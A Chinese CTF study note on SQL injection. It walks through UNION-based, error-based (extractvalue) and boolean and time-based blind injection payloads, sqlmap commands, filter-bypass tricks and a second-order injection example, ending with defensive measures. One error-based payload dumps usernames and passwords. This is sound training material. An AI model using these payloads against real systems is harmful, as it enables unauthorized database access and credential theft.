每天一道CTF,日积月累,期待进步!
SQL注入攻击,union联合查询和 SQLMAP;SQL盲注
SQL注入
看到题目是一个典型的SQL注入,有回显
post方式传递数据,在id变量处可能存在注入点,下面尝试注入
有两种方法,SQLMAP或利用union查询
union查询
确定注入点 如果id=1' and 1=1#返回正常,1=2返回失败,则存在字符型注入
(如果id=2 和 id = 3-1 都正确显示id=2的记录,那么就是数字型的注入)
(如果id=2a正常显示,id=3-2不正常显示,那么是字符型注入)
判断字段数: id=1' order by 4# 4列 (<=4都正常回显,>4无输出)
判断回显位: id=0' union select 1,2,3,4#2,3,4列是回显列 ,第一列是id
查询表名: id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#表 fl4g,sc
(group_concat 是用“,”联合多条记录的函数)
查fl4g的字段: id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'#(有些情况可以用十六进制绕过)字段名skctf_flag
列出数据: id=0' union select 1,2,3,skctf_flag from fl4g#得到flag
SQLMAP的POST注入
1. burp截包,输入1,提交。burp已经把id获取到了,保存为txt文件。放置到sqlmap的目录下边。
2. sqlmap对站点进行分析(-r)
3. 开始注入
(1)--dbs数据库
“sqlmap.py-r D:\CTF\SQLmap\1.txt (-p admin_name注入点)--dbs”
不带注入点的话,sqlmap会自动检测
(2)-D skctf --tables 表
“sqlmap.py-r D:\CTF\SQLmap\1.txt -D skctf --tables”
(3)-D skctf -T fl4g --columns 列
“sqlmap.py-r D:\CTF\SQLmap\1.txt -D skctf -T fl4g --columns”
(4)-D skctf -T fl4g -C "skctf_flag" --dump 值
“sqlmap.py-r D:\CTF\SQLmap\1.txt -D skctf -T fl4g -C skctf_flag--dump”
get方式注入就是:sqlmap.py-u"http://www.xxx.com/index.php?id=1"--dbs
总结
mysql中的注释常用两种方式–+与#,#在url中需要编码为%23以避免与url本身的锚点冲突。
MYSQL基于联合查询/报错的手工注入
1. union联合查询注入 针对字符型(上面的例子)
2. 报错注入 针对数字型(没单引号)
(1)通过floor报错
(2)通过updatexml报错
(3)通过ExtractValue报错
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+
extractvalue(XML,XPath)从目标XML中返回包含查询值得字符串
参数XML:String格式,为XML文档对象得名称
参数XPath:xpath格式得字符串
因为我们在xpath输入的不是要求的xpath格式的字符串,所以函数会报错返回xpath参数内容
xpath会被带入mysql进行执行操作,发现不是xpath格式,但是只有在执行后才会发现,就会执行sql代码(select开始),查询内容并且concat拼接字符串,随后由extractvalue函数返回报错
andextractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+
andextractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+
MYSQL盲注
盲注入不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,只有错误或正确的显示,不会把整个数据库的内容显示出来。
1. 基于bool的盲注
牢记布尔盲注的特点:只有当and后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立。
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit0,1),1,1))=101 #
substr(a,b,c) 将a结果从b开始截取c长度字符,ascii()将字符转为ascii值
2. 基于时间的盲注
利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
(1)判断当前数据库库名的长度
如果数据库库名长度大于等于8,则mysql查询休眠5秒,否则查询1。
if(length(database())>=8,sleep(5),1)
http://.../php?id=1' and if(length(database())>=8,sleep(5),1)--+
大于等于8,休眠,大于等于9不休眠,说明长度为8
(2)获取当前数据库库名
由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。和boolean注入类似,使用substr函数来截取database()的值,一次截取一个,注意是从1开始。
if(substr(database(),1,1)='a',sleep(5),1)
http://.../1.php?id=1'and if(substr(database(),1,1)='a',sleep(5),1)--+
使用使用Burp爆破:得到数据库名:security
(3)获取数据库表名
LIMIT[位置偏移量,]行数
其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推...,第二个参数为“行数”即指示返回的记录条数。
if(substr((select table_name from information_schema.tables where table_schema='security' limit0,1),1,1)='a',sleep(5),1)
http://.../php?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)--+
使用使用Burp爆破:得到数据库表名:security
修改limit 0,1为limit 1,1,可以得到第二个表名。最后得到所有表名:
第1个表名是:emails
第2个表名是:referers (limit 2,1)
第3个表名是:uagents (limit 3,1)
第4个表名是:users (limit 4,1)
依次类推,就可以得到完整的数据库库名,表名,字段名和具体数据。
SQL注入的防御
过滤敏感字符
将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。
通常过滤空格、括号、引号……等特殊字符,但是这些可以绕过的。
举例:过滤空格 select/**/name/**/from/**/user/**/where/**/id='kk' 或 select(name)from(user)where(id='kk')通过这种方法就会规避对空格的过滤;过滤括号和引号select name from user wehere id=0x6b6b0x6b6b(kk的十六进制)
限制查询长度
由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。
设置数据库权限
根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
限制目录权限
WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
限制数据类型
因为PHP语言没有严格的限制数据类型的定义例如:“ID=1 就默认ID为Intger ; name=kk 默认name为string”在PHP的弱类型管理中这是不安全的。
Burpsuit fuzz 判断过滤了哪些字符
https://github.com/fuzzdb-project/fuzzdb
这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。
我们使用这个payload就可以了 /attack/sql-injection/detect/xplatform.txt
二次注入
https://www.jianshu.com/p/3fe7904683ac
https://www.jianshu.com/p/746164a91422
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
例子:
假如有一个网站管理员的用户名为:root 密码为:123456789 ,攻击者注册了一个账号 : root'-- 密码为:123因为账号当中有特殊字符,网站对于特殊字符进行了转义,一次注入在这就行不通了。虽然账号被转义了,但是他在数据库当中任然是以 root'-- 的方式被储存的。现在攻击者开始实施正真的攻击了,他开始对账号修改密码。普通网站修改密码的过程为:先判断用户是否存在------》确认用户以前的密码是否正确--------》获取要修改的密码---------》修改密码成功。 在数据库中 -- 表示注释的意思,后面的语句不会执行,而root后面的那个单引号又与前面的 ' 闭合,而原本后面的那个单引号因为是在 -- 之后,所以就被注释掉了,所以他修改的其实是 root 的密码